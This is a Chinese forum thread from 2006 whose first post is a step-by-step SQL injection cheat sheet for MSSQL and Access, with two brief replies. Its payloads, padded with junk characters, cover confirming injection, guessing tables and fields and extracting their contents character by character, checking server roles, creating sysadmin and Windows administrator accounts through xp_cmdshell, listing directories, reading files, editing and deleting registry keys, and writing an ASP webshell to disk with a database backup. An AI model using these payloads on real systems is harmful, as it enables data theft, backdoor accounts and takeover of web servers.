社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3683阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 =IZ[_ /@  
  2.初步判断是否是mssql ;and user>0 qfYG.~`5  
w{`Acu  
  3.注入参数是字符'and [查询条件] and ''=' PNpu*# Z`  
I8u!\F  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' Uyk,.*8"  
.x-J44i@/  
  5.判断数据库系统 $mpO?D J~  
IP ,.+:i  
  ;and (select count(*) from sysobjects)>0 mssql <7'&1= %r  
X?/Lz;,&  
  ;and (select count(*) from msysobjects)>0 access rslvsS:  
Jf_%<\ O  
<bUXC@3W  
d>|;f  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 q@l(Qol  
E(4w5=8TI  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 g1{/ 5{XI  
?#BV+#(  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 m5*[t7@%  
VRbQdiZ{  
  9.(1)猜字段的ascii值(access) [b/o$zR  
%(<(Y  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 TQc@lR!  
xS8,W  
  (2)猜字段的ascii值(mssql) M'2r@NR8  
aQUGNa0+d  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 pOA!#Aj)  
m#\[m<F  
  10.测试权限结构(mssql) ,Dp0fauJ  
kRlA4h1u_$  
{kL&Rv%'  
 3-|3`(  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- GeV+/^u  
.z-UOyer  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- uel{`T[S  
J,5+47b1}R  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- wL3,g2-L  
1nI^-aQ3  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3^wC<ZXcD  
BzN@gQo  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- |^( M{  
BBnq_w"a  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- +,5-qm)Gh>  
% frfSGf.#  
  ;and 1=(select IS_MEMBER('db_owner'));-- Sh&PNJ-*  
ho.(v;  
a#[-*ou`  
3FNT|QF  
  11.添加mssql和系统的帐户 =Op+v"  
(D7$$!}  
  ;exec master.dbo.sp_addlogin username;-- #;Tz[0  
  ;exec master.dbo.sp_password null,username,password;-- O{]9hm(tN  
JOD/Raq.1k  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 57Z-  
h`Tz5% n  
  ;exec master.dbo.xp_cmdshell 'net user username password RMP9y$~3pU  
: ]WqfR)#  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Zu/<NC (  
sKL:p3r  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- $,27pkwHeW  
Y; ) .+si  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }6]0hWsN[  
`u XQ z7  
wtH~-xSB|  
XP3x Jm3  
  12.(1)遍历目录 uQ/h'v  
l]6% lud8_  
  ;create table dirs(paths varchar(100), id int) Q(Gl{#b  
t ls60h  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' 1m@^E:w  
{whvTN1#dh  
  ;and (select top 1 paths from dirs)>0 ynwG\V  
rs;r $  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) KbW9s,:p  
ST dNM\+  
/+|#^:@  
=L]Q2V}  
  (2)遍历目录 UE"GJt`I  
](jFwxU  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- \Qy$I-Du  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Z`Z5sj 4{  
-{jdn%Y7CK  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 . iwZ*b{  
pA}S5x  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 YY5!_k  
A1i!F?X  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 DAO]uh{6  
]! *[Q\  
z-T{~{q  
}q[Bd  
  13.mssql中的存储过程 bPbb\|u0d  
l.+yn91%>  
  xp_regenumvalues 注册表根键, 子键 3V<&|  
DN] v_u+}  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 )> a B  
kg97S  
  xp_regread 根键,子键,键值名 r 2:2,5_  
CH#k(sy  
  ;exec xp_regread B&?sF" Y  
9jir* UI  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 \cJa;WM>  
<wd]D@l7r  
  xp_regwrite 根键,子键, 值名, 值类型, 值 +0l`5."d  
X[yNFW}S2W  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型  ti@kKz  
aHzHvl  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 +-?/e-z")  
}hpm O-  
  xp_regdeletevalue 根键,子键,值名 p *w$:L  
1GCzyBSbb  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 IH *s8tPc  
|I;$M;'r&  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 XzIx:J6  
}f}}A=  
k?GD/$1t  
c]k*}W3T  
  14.mssql的backup创建webshell wf.T3  
sBX-X$*N  
  use model Z~  
bC!`@/  
  create table cmd(str image); Q,T"ZdQ  
R"v 3!P  
  insert into cmd(str) values (''); T#@lDpO  
W#fZ1E6  
  backup database model to disk='c:\l.asp'; }n:?7  
nuQ]8 -,  
U&Wwyu:4i  
pmvT$;7I  
  15.mssql内置函数 ^"\s eS  
&C<yfRDu  
  ;and (select @@version)>0 获得Windows的版本号 jhgX{xc  
*A'FC|\  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa SymwAS+  
R7 jmv n  
  ;and (select user_name())>0 爆当前系统的连接用户 >r@.F%  
K BE Ax3  
  ;and (select db_name())>0 得到当前连接的数据库 B;6]NCx D  
9LnN$e  
;h=*!7:  
k*rZ*sSp  
  16.简洁的webshell a 3SlxsWW  
F'}'(t+oAm  
  use model 7R.Q Ql  
EI~"L$?  
  create table cmd(str image); .jw}JJ  
{]*x*aa\  
  insert into cmd(str) values (''); rHge~nY<  
J@pb[OL,  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八